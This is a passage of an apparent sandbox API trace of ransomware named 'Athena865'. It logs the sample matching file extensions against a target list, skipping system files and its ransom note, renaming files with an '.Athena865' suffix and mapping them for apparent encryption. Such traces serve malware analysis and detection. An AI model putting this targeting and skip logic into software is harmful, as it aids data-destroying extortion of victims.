[0106.414] lstrlenW (lpString="oqy") returned 3 [0106.414] lstrcmpiW (lpString1="DLL", lpString2="oqy") returned -1 [0106.414] lstrlenW (lpString="ora") returned 3 [0106.414] lstrcmpiW (lpString1="DLL", lpString2="ora") returned -1 [0106.414] lstrlenW (lpString="orx") returned 3 [0106.414] lstrcmpiW (lpString1="DLL", lpString2="orx") returned -1 [0106.414] lstrlenW (lpString="owc") returned 3 [0106.414] lstrcmpiW (lpString1="DLL", lpString2="owc") returned -1 [0106.414] lstrlenW (lpString="p96") returned 3 [0106.414] lstrcmpiW (lpString1="DLL", lpString2="p96") returned -1 [0106.414] lstrlenW (lpString="p97") returned 3 [0106.414] lstrcmpiW (lpString1="DLL", lpString2="p97") returned -1 [0106.414] lstrlenW (lpString="pan") returned 3 [0106.414] lstrcmpiW (lpString1="DLL", lpString2="pan") returned -1 [0106.414] lstrlenW (lpString="pdb") returned 3 [0106.414] lstrcmpiW (lpString1="DLL", lpString2="pdb") returned -1 [0106.414] lstrlenW (lpString="pdm") returned 3 [0106.414] lstrcmpiW (lpString1="DLL", lpString2="pdm") returned -1 [0106.414] lstrlenW (lpString="pnz") returned 3 [0106.414] lstrcmpiW (lpString1="DLL", lpString2="pnz") returned -1 [0106.414] lstrlenW (lpString="qry") returned 3 [0106.415] lstrcmpiW (lpString1="DLL", lpString2="qry") returned -1 [0106.415] lstrlenW (lpString="qvd") returned 3 [0106.415] lstrcmpiW (lpString1="DLL", lpString2="qvd") returned -1 [0106.415] lstrlenW (lpString="rbf") returned 3 [0106.415] lstrcmpiW (lpString1="DLL", lpString2="rbf") returned -1 [0106.415] lstrlenW (lpString="rctd") returned 4 [0106.415] lstrcmpiW (lpString1=".DLL", lpString2="rctd") returned -1 [0106.415] lstrlenW (lpString="rod") returned 3 [0106.415] lstrcmpiW (lpString1="DLL", lpString2="rod") returned -1 [0106.415] lstrlenW (lpString="rodx") returned 4 [0106.415] lstrcmpiW (lpString1=".DLL", lpString2="rodx") returned -1 [0106.415] lstrlenW (lpString="rpd") returned 3 [0106.415] lstrcmpiW (lpString1="DLL", lpString2="rpd") returned -1 [0106.415] lstrlenW (lpString="rsd") returned 3 [0106.415] lstrcmpiW (lpString1="DLL", lpString2="rsd") returned -1 [0106.415] lstrlenW (lpString="sas7bdat") returned 8 [0106.415] lstrcmpiW (lpString1="HELP.DLL", lpString2="sas7bdat") returned -1 [0106.415] lstrlenW (lpString="sbf") returned 3 [0106.415] lstrcmpiW (lpString1="DLL", lpString2="sbf") returned -1 [0106.415] lstrlenW (lpString="scx") returned 3 [0106.415] lstrcmpiW (lpString1="DLL", lpString2="scx") returned -1 [0106.415] lstrlenW (lpString="sdb") returned 3 [0106.415] lstrcmpiW (lpString1="DLL", lpString2="sdb") returned -1 [0106.415] lstrlenW (lpString="sdc") returned 3 [0106.415] lstrcmpiW (lpString1="DLL", lpString2="sdc") returned -1 [0106.415] lstrlenW (lpString="sdf") returned 3 [0106.415] lstrcmpiW (lpString1="DLL", lpString2="sdf") returned -1 [0106.415] lstrlenW (lpString="sis") returned 3 [0106.415] lstrcmpiW (lpString1="DLL", lpString2="sis") returned -1 [0106.415] lstrlenW (lpString="spq") returned 3 [0106.415] lstrcmpiW (lpString1="DLL", lpString2="spq") returned -1 [0106.415] lstrlenW (lpString="te") returned 2 [0106.415] lstrcmpiW (lpString1="LL", lpString2="te") returned -1 [0106.416] lstrlenW (lpString="teacher") returned 7 [0106.416] lstrcmpiW (lpString1="ELP.DLL", lpString2="teacher") returned -1 [0106.416] lstrlenW (lpString="tmd") returned 3 [0106.416] lstrcmpiW (lpString1="DLL", lpString2="tmd") returned -1 [0106.416] lstrlenW (lpString="tps") returned 3 [0106.416] lstrcmpiW (lpString1="DLL", lpString2="tps") returned -1 [0106.416] lstrlenW (lpString="trc") returned 3 [0106.416] lstrcmpiW (lpString1="DLL", lpString2="trc") returned -1 [0106.416] lstrlenW (lpString="trc") returned 3 [0106.416] lstrcmpiW (lpString1="DLL", lpString2="trc") returned -1 [0106.416] lstrlenW (lpString="trm") returned 3 [0106.416] lstrcmpiW (lpString1="DLL", lpString2="trm") returned -1 [0106.416] lstrlenW (lpString="udb") returned 3 [0106.416] lstrcmpiW (lpString1="DLL", lpString2="udb") returned -1 [0106.416] lstrlenW (lpString="udl") returned 3 [0106.416] lstrcmpiW (lpString1="DLL", lpString2="udl") returned -1 [0106.416] lstrlenW (lpString="usr") returned 3 [0106.416] lstrcmpiW (lpString1="DLL", lpString2="usr") returned -1 [0106.416] lstrlenW (lpString="v12") returned 3 [0106.416] lstrcmpiW (lpString1="DLL", lpString2="v12") returned -1 [0106.416] lstrlenW (lpString="vis") returned 3 [0106.416] lstrcmpiW (lpString1="DLL", lpString2="vis") returned -1 [0106.416] lstrlenW (lpString="vpd") returned 3 [0106.416] lstrcmpiW (lpString1="DLL", lpString2="vpd") returned -1 [0106.416] lstrlenW (lpString="vvv") returned 3 [0106.416] lstrcmpiW (lpString1="DLL", lpString2="vvv") returned -1 [0106.416] lstrlenW (lpString="wdb") returned 3 [0106.416] lstrcmpiW (lpString1="DLL", lpString2="wdb") returned -1 [0106.416] lstrlenW (lpString="wmdb") returned 4 [0106.416] lstrcmpiW (lpString1=".DLL", lpString2="wmdb") returned -1 [0106.416] lstrlenW (lpString="wrk") returned 3 [0106.416] lstrcmpiW (lpString1="DLL", lpString2="wrk") returned -1 [0106.416] lstrlenW (lpString="xdb") returned 3 [0106.417] lstrcmpiW (lpString1="DLL", lpString2="xdb") returned -1 [0106.417] lstrlenW (lpString="xld") returned 3 [0106.417] lstrcmpiW (lpString1="DLL", lpString2="xld") returned -1 [0106.417] lstrlenW (lpString="xmlff") returned 5 [0106.417] lstrcmpiW (lpString1="P.DLL", lpString2="xmlff") returned -1 [0106.417] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DBGHELP.DLL.Athena865") returned 71 [0106.417] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DBGHELP.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\dw\\dbghelp.dll"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DBGHELP.DLL.Athena865" (normalized: "c:\\program files\\common files\\microsoft shared\\dw\\dbghelp.dll.athena865"), dwFlags=0x1) returned 1 [0106.419] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DBGHELP.DLL.Athena865" (normalized: "c:\\program files\\common files\\microsoft shared\\dw\\dbghelp.dll.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0106.419] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=1369952) returned 1 [0106.419] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0106.420] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52dde0 [0106.420] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519dd8 [0106.420] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519d50) returned 1 [0106.420] CryptGenRandom (in: hProv=0x519d50, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0106.420] CryptReleaseContext (hProv=0x519d50, dwFlags=0x0) returned 1 [0106.421] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x14ea60, lpName=0x0) returned 0x154 [0106.422] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x14ea60) returned 0x2d50000 [0106.475] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519d50) returned 1 [0106.475] CryptGenRandom (in: hProv=0x519d50, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0106.475] CryptReleaseContext (hProv=0x519d50, dwFlags=0x0) returned 1 [0106.476] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52dd68 [0106.476] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52dd68 | out: hHeap=0x4f0000) returned 1 [0106.476] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x54bd40 [0106.476] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0106.476] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54bd40 | out: hHeap=0x4f0000) returned 1 [0106.476] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0106.476] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x54bd40 [0106.476] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0106.476] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54bd40 | out: hHeap=0x4f0000) returned 1 [0106.476] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0106.476] UnmapViewOfFile (lpBaseAddress=0x2d50000) returned 1 [0106.487] CloseHandle (hObject=0x154) returned 1 [0106.487] CloseHandle (hObject=0x17c) returned 1 [0106.487] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52dde0 | out: hHeap=0x4f0000) returned 1 [0106.488] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519dd8 | out: hHeap=0x4f0000) returned 1 [0106.488] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0106.498] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2f8f7000, ftCreationTime.dwHighDateTime=0x1cba06d, ftLastAccessTime.dwLowDateTime=0xdb9ec040, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x2f8f7000, ftLastWriteTime.dwHighDateTime=0x1cba06d, nFileSizeHigh=0x0, nFileSizeLow=0xf2b88, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="DW20.EXE", cAlternateFileName="")) returned 1 [0106.498] lstrcmpiW (lpString1="DW20.EXE", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0106.498] lstrcmpiW (lpString1="DW20.EXE", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0106.498] lstrcmpiW (lpString1="DW20.EXE", lpString2=".") returned 1 [0106.498] lstrcmpiW (lpString1="DW20.EXE", lpString2="..") returned 1 [0106.498] lstrcmpiW (lpString1="DW20.EXE", lpString2="windows") returned -1 [0106.498] lstrcmpiW (lpString1="DW20.EXE", lpString2="bootmgr") returned 1 [0106.498] lstrcmpiW (lpString1="DW20.EXE", lpString2="temp") returned -1 [0106.498] lstrcmpiW (lpString1="DW20.EXE", lpString2="pagefile.sys") returned -1 [0106.498] lstrcmpiW (lpString1="DW20.EXE", lpString2="boot") returned 1 [0106.498] lstrcmpiW (lpString1="DW20.EXE", lpString2="ids.txt") returned -1 [0106.498] lstrcmpiW (lpString1="DW20.EXE", lpString2="ntuser.dat") returned -1 [0106.498] lstrcmpiW (lpString1="DW20.EXE", lpString2="perflogs") returned -1 [0106.498] lstrcmpiW (lpString1="DW20.EXE", lpString2="MSBuild") returned -1 [0106.498] lstrlenW (lpString="DW20.EXE") returned 8 [0106.498] lstrcpyW (in: lpString1=0x241e8ac, lpString2="DW20.EXE" | out: lpString1="DW20.EXE") returned="DW20.EXE" [0106.498] lstrlenW (lpString="DW20.EXE") returned 8 [0106.498] lstrlenW (lpString="Athena865") returned 9 [0106.499] lstrlenW (lpString=".dll") returned 4 [0106.499] lstrcmpiW (lpString1="DW20.EXE", lpString2=".dll") returned 1 [0106.499] lstrlenW (lpString=".lnk") returned 4 [0106.499] lstrcmpiW (lpString1="DW20.EXE", lpString2=".lnk") returned 1 [0106.499] lstrlenW (lpString=".ini") returned 4 [0106.499] lstrcmpiW (lpString1="DW20.EXE", lpString2=".ini") returned 1 [0106.499] lstrlenW (lpString=".sys") returned 4 [0106.499] lstrcmpiW (lpString1="DW20.EXE", lpString2=".sys") returned 1 [0106.499] lstrlenW (lpString="DW20.EXE") returned 8 [0106.499] lstrlenW (lpString="bak") returned 3 [0106.499] lstrcmpiW (lpString1="EXE", lpString2="bak") returned 1 [0106.499] lstrlenW (lpString="ba_") returned 3 [0106.499] lstrcmpiW (lpString1="EXE", lpString2="ba_") returned 1 [0106.499] lstrlenW (lpString="dbb") returned 3 [0106.499] lstrcmpiW (lpString1="EXE", lpString2="dbb") returned 1 [0106.499] lstrlenW (lpString="vmdk") returned 4 [0106.499] lstrcmpiW (lpString1=".EXE", lpString2="vmdk") returned -1 [0106.499] lstrlenW (lpString="rar") returned 3 [0106.499] lstrcmpiW (lpString1="EXE", lpString2="rar") returned -1 [0106.499] lstrlenW (lpString="zip") returned 3 [0106.499] lstrcmpiW (lpString1="EXE", lpString2="zip") returned -1 [0106.499] lstrlenW (lpString="tgz") returned 3 [0106.499] lstrcmpiW (lpString1="EXE", lpString2="tgz") returned -1 [0106.499] lstrlenW (lpString="vbox") returned 4 [0106.499] lstrcmpiW (lpString1=".EXE", lpString2="vbox") returned -1 [0106.499] lstrlenW (lpString="vdi") returned 3 [0106.499] lstrcmpiW (lpString1="EXE", lpString2="vdi") returned -1 [0106.499] lstrlenW (lpString="vhd") returned 3 [0106.499] lstrcmpiW (lpString1="EXE", lpString2="vhd") returned -1 [0106.499] lstrlenW (lpString="vhdx") returned 4 [0106.499] lstrcmpiW (lpString1=".EXE", lpString2="vhdx") returned -1 [0106.499] lstrlenW (lpString="avhd") returned 4 [0106.500] lstrcmpiW (lpString1=".EXE", lpString2="avhd") returned -1 [0106.500] lstrlenW (lpString="db") returned 2 [0106.500] lstrcmpiW (lpString1="XE", lpString2="db") returned 1 [0106.500] lstrlenW (lpString="db2") returned 3 [0106.500] lstrcmpiW (lpString1="EXE", lpString2="db2") returned 1 [0106.500] lstrlenW (lpString="db3") returned 3 [0106.500] lstrcmpiW (lpString1="EXE", lpString2="db3") returned 1 [0106.500] lstrlenW (lpString="dbf") returned 3 [0106.500] lstrcmpiW (lpString1="EXE", lpString2="dbf") returned 1 [0106.500] lstrlenW (lpString="mdf") returned 3 [0106.500] lstrcmpiW (lpString1="EXE", lpString2="mdf") returned -1 [0106.500] lstrlenW (lpString="mdb") returned 3 [0106.500] lstrcmpiW (lpString1="EXE", lpString2="mdb") returned -1 [0106.500] lstrlenW (lpString="sql") returned 3 [0106.500] lstrcmpiW (lpString1="EXE", lpString2="sql") returned -1 [0106.500] lstrlenW (lpString="sqlite") returned 6 [0106.500] lstrcmpiW (lpString1="20.EXE", lpString2="sqlite") returned -1 [0106.500] lstrlenW (lpString="sqlite3") returned 7 [0106.500] lstrcmpiW (lpString1="W20.EXE", lpString2="sqlite3") returned 1 [0106.500] lstrlenW (lpString="sqlitedb") returned 8 [0106.500] lstrlenW (lpString="xml") returned 3 [0106.500] lstrcmpiW (lpString1="EXE", lpString2="xml") returned -1 [0106.500] lstrlenW (lpString="$er") returned 3 [0106.500] lstrcmpiW (lpString1="EXE", lpString2="$er") returned 1 [0106.500] lstrlenW (lpString="4dd") returned 3 [0106.500] lstrcmpiW (lpString1="EXE", lpString2="4dd") returned 1 [0106.500] lstrlenW (lpString="4dl") returned 3 [0106.500] lstrcmpiW (lpString1="EXE", lpString2="4dl") returned 1 [0106.500] lstrlenW (lpString="^^^") returned 3 [0106.500] lstrcmpiW (lpString1="EXE", lpString2="^^^") returned 1 [0106.500] lstrlenW (lpString="abs") returned 3 [0106.501] lstrcmpiW (lpString1="EXE", lpString2="abs") returned 1 [0106.501] lstrlenW (lpString="abx") returned 3 [0106.501] lstrcmpiW (lpString1="EXE", lpString2="abx") returned 1 [0106.501] lstrlenW (lpString="accdb") returned 5 [0106.501] lstrcmpiW (lpString1="0.EXE", lpString2="accdb") returned -1 [0106.501] lstrlenW (lpString="accdc") returned 5 [0106.501] lstrcmpiW (lpString1="0.EXE", lpString2="accdc") returned -1 [0106.501] lstrlenW (lpString="accde") returned 5 [0106.501] lstrcmpiW (lpString1="0.EXE", lpString2="accde") returned -1 [0106.501] lstrlenW (lpString="accdr") returned 5 [0106.501] lstrcmpiW (lpString1="0.EXE", lpString2="accdr") returned -1 [0106.501] lstrlenW (lpString="accdt") returned 5 [0106.501] lstrcmpiW (lpString1="0.EXE", lpString2="accdt") returned -1 [0106.501] lstrlenW (lpString="accdw") returned 5 [0106.501] lstrcmpiW (lpString1="0.EXE", lpString2="accdw") returned -1 [0106.501] lstrlenW (lpString="accft") returned 5 [0106.501] lstrcmpiW (lpString1="0.EXE", lpString2="accft") returned -1 [0106.501] lstrlenW (lpString="adb") returned 3 [0106.501] lstrcmpiW (lpString1="EXE", lpString2="adb") returned 1 [0106.501] lstrlenW (lpString="adb") returned 3 [0106.501] lstrcmpiW (lpString1="EXE", lpString2="adb") returned 1 [0106.501] lstrlenW (lpString="ade") returned 3 [0106.501] lstrcmpiW (lpString1="EXE", lpString2="ade") returned 1 [0106.501] lstrlenW (lpString="adf") returned 3 [0106.501] lstrcmpiW (lpString1="EXE", lpString2="adf") returned 1 [0106.501] lstrlenW (lpString="adn") returned 3 [0106.501] lstrcmpiW (lpString1="EXE", lpString2="adn") returned 1 [0106.501] lstrlenW (lpString="adp") returned 3 [0106.501] lstrcmpiW (lpString1="EXE", lpString2="adp") returned 1 [0106.501] lstrlenW (lpString="alf") returned 3 [0106.501] lstrcmpiW (lpString1="EXE", lpString2="alf") returned 1 [0106.502] lstrlenW (lpString="ask") returned 3 [0106.502] lstrcmpiW (lpString1="EXE", lpString2="ask") returned 1 [0106.502] lstrlenW (lpString="btr") returned 3 [0106.502] lstrcmpiW (lpString1="EXE", lpString2="btr") returned 1 [0106.502] lstrlenW (lpString="cat") returned 3 [0106.502] lstrcmpiW (lpString1="EXE", lpString2="cat") returned 1 [0106.502] lstrlenW (lpString="cdb") returned 3 [0106.502] lstrcmpiW (lpString1="EXE", lpString2="cdb") returned 1 [0106.502] lstrlenW (lpString="ckp") returned 3 [0106.502] lstrcmpiW (lpString1="EXE", lpString2="ckp") returned 1 [0106.502] lstrlenW (lpString="cma") returned 3 [0106.502] lstrcmpiW (lpString1="EXE", lpString2="cma") returned 1 [0106.502] lstrlenW (lpString="cpd") returned 3 [0106.502] lstrcmpiW (lpString1="EXE", lpString2="cpd") returned 1 [0106.502] lstrlenW (lpString="dacpac") returned 6 [0106.502] lstrcmpiW (lpString1="20.EXE", lpString2="dacpac") returned -1 [0106.502] lstrlenW (lpString="dad") returned 3 [0106.502] lstrcmpiW (lpString1="EXE", lpString2="dad") returned 1 [0106.502] lstrlenW (lpString="dadiagrams") returned 10 [0106.502] lstrlenW (lpString="daschema") returned 8 [0106.502] lstrlenW (lpString="db-journal") returned 10 [0106.502] lstrlenW (lpString="db-shm") returned 6 [0106.502] lstrcmpiW (lpString1="20.EXE", lpString2="db-shm") returned -1 [0106.502] lstrlenW (lpString="db-wal") returned 6 [0106.502] lstrcmpiW (lpString1="20.EXE", lpString2="db-wal") returned -1 [0106.502] lstrlenW (lpString="dbc") returned 3 [0106.502] lstrcmpiW (lpString1="EXE", lpString2="dbc") returned 1 [0106.502] lstrlenW (lpString="dbs") returned 3 [0106.502] lstrcmpiW (lpString1="EXE", lpString2="dbs") returned 1 [0106.502] lstrlenW (lpString="dbt") returned 3 [0106.502] lstrcmpiW (lpString1="EXE", lpString2="dbt") returned 1 [0106.502] lstrlenW (lpString="dbv") returned 3 [0106.503] lstrcmpiW (lpString1="EXE", lpString2="dbv") returned 1 [0106.503] lstrlenW (lpString="dbx") returned 3 [0106.503] lstrcmpiW (lpString1="EXE", lpString2="dbx") returned 1 [0106.503] lstrlenW (lpString="dcb") returned 3 [0106.503] lstrcmpiW (lpString1="EXE", lpString2="dcb") returned 1 [0106.503] lstrcmpiW (lpString1="EXE", lpString2="dct") returned 1 [0106.503] lstrcmpiW (lpString1="EXE", lpString2="dcx") returned 1 [0106.503] lstrcmpiW (lpString1="EXE", lpString2="ddl") returned 1 [0106.503] lstrcmpiW (lpString1=".EXE", lpString2="dlis") returned -1 [0106.503] lstrcmpiW (lpString1="EXE", lpString2="dp1") returned 1 [0106.503] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DW20.EXE.Athena865") returned 68 [0106.503] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DW20.EXE" (normalized: "c:\\program files\\common files\\microsoft shared\\dw\\dw20.exe"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DW20.EXE.Athena865" (normalized: "c:\\program files\\common files\\microsoft shared\\dw\\dw20.exe.athena865"), dwFlags=0x1) returned 1 [0106.505] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DW20.EXE.Athena865" (normalized: "c:\\program files\\common files\\microsoft shared\\dw\\dw20.exe.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0106.505] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=994184) returned 1 [0106.505] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0106.505] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52dde0 [0106.506] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519dd8 [0106.506] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519d50) returned 1 [0106.506] CryptGenRandom (in: hProv=0x519d50, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0106.506] CryptReleaseContext (hProv=0x519d50, dwFlags=0x0) returned 1 [0106.506] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xf2e90, lpName=0x0) returned 0x154 [0106.508] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xf2e90) returned 0x2d50000 [0106.543] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519d50) returned 1 [0106.544] CryptGenRandom (in: hProv=0x519d50, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0106.544] CryptReleaseContext (hProv=0x519d50, dwFlags=0x0) returned 1 [0106.544] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52dd68 [0106.544] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52dd68 | out: hHeap=0x4f0000) returned 1 [0106.544] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x54dd40 [0106.544] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0106.544] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54dd40 | out: hHeap=0x4f0000) returned 1 [0106.544] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0106.544] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x54dd40 [0106.545] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0106.545] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54dd40 | out: hHeap=0x4f0000) returned 1 [0106.545] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0106.545] UnmapViewOfFile (lpBaseAddress=0x2d50000) returned 1 [0106.555] CloseHandle (hObject=0x154) returned 1 [0106.555] CloseHandle (hObject=0x17c) returned 1 [0106.555] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52dde0 | out: hHeap=0x4f0000) returned 1 [0106.555] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519dd8 | out: hHeap=0x4f0000) returned 1 [0106.555] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0106.559] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2e5e4300, ftCreationTime.dwHighDateTime=0x1cba06d, ftLastAccessTime.dwLowDateTime=0xdbe62980, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x2e5e4300, ftLastWriteTime.dwHighDateTime=0x1cba06d, nFileSizeHigh=0x0, nFileSizeLow=0x99ba0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="DWTRIG20.EXE", cAlternateFileName="")) returned 1 [0106.559] lstrcmpiW (lpString1="DWTRIG20.EXE", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0106.560] lstrcmpiW (lpString1="DWTRIG20.EXE", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0106.560] lstrcmpiW (lpString1="DWTRIG20.EXE", lpString2=".") returned 1 [0106.560] lstrcmpiW (lpString1="DWTRIG20.EXE", lpString2="..") returned 1 [0106.560] lstrcmpiW (lpString1="DWTRIG20.EXE", lpString2="windows") returned -1 [0106.560] lstrcmpiW (lpString1="DWTRIG20.EXE", lpString2="bootmgr") returned 1 [0106.560] lstrcmpiW (lpString1="DWTRIG20.EXE", lpString2="temp") returned -1 [0106.560] lstrcmpiW (lpString1="DWTRIG20.EXE", lpString2="pagefile.sys") returned -1 [0106.560] lstrcmpiW (lpString1="DWTRIG20.EXE", lpString2="boot") returned 1 [0106.560] lstrcmpiW (lpString1="DWTRIG20.EXE", lpString2="ids.txt") returned -1 [0106.560] lstrcmpiW (lpString1="DWTRIG20.EXE", lpString2="ntuser.dat") returned -1 [0106.560] lstrcmpiW (lpString1="DWTRIG20.EXE", lpString2="perflogs") returned -1 [0106.560] lstrcmpiW (lpString1="DWTRIG20.EXE", lpString2="MSBuild") returned -1 [0106.560] lstrlenW (lpString="DWTRIG20.EXE") returned 12 [0106.560] lstrcpyW (in: lpString1=0x241e8ac, lpString2="DWTRIG20.EXE" | out: lpString1="DWTRIG20.EXE") returned="DWTRIG20.EXE" [0106.560] lstrlenW (lpString="DWTRIG20.EXE") returned 12 [0106.560] lstrlenW (lpString="Athena865") returned 9 [0106.560] lstrcmpiW (lpString1="RIG20.EXE", lpString2="Athena865") returned 1 [0106.560] lstrlenW (lpString=".dll") returned 4 [0106.560] lstrcmpiW (lpString1="DWTRIG20.EXE", lpString2=".dll") returned 1 [0106.560] lstrlenW (lpString=".lnk") returned 4 [0106.560] lstrcmpiW (lpString1="DWTRIG20.EXE", lpString2=".lnk") returned 1 [0106.560] lstrlenW (lpString=".ini") returned 4 [0106.560] lstrcmpiW (lpString1="DWTRIG20.EXE", lpString2=".ini") returned 1 [0106.560] lstrlenW (lpString=".sys") returned 4 [0106.560] lstrcmpiW (lpString1="DWTRIG20.EXE", lpString2=".sys") returned 1 [0106.560] lstrlenW (lpString="DWTRIG20.EXE") returned 12 [0106.560] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DWTRIG20.EXE.Athena865") returned 72 [0106.560] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DWTRIG20.EXE" (normalized: "c:\\program files\\common files\\microsoft shared\\dw\\dwtrig20.exe"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DWTRIG20.EXE.Athena865" (normalized: "c:\\program files\\common files\\microsoft shared\\dw\\dwtrig20.exe.athena865"), dwFlags=0x1) returned 1 [0106.562] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DWTRIG20.EXE.Athena865" (normalized: "c:\\program files\\common files\\microsoft shared\\dw\\dwtrig20.exe.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0106.562] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: 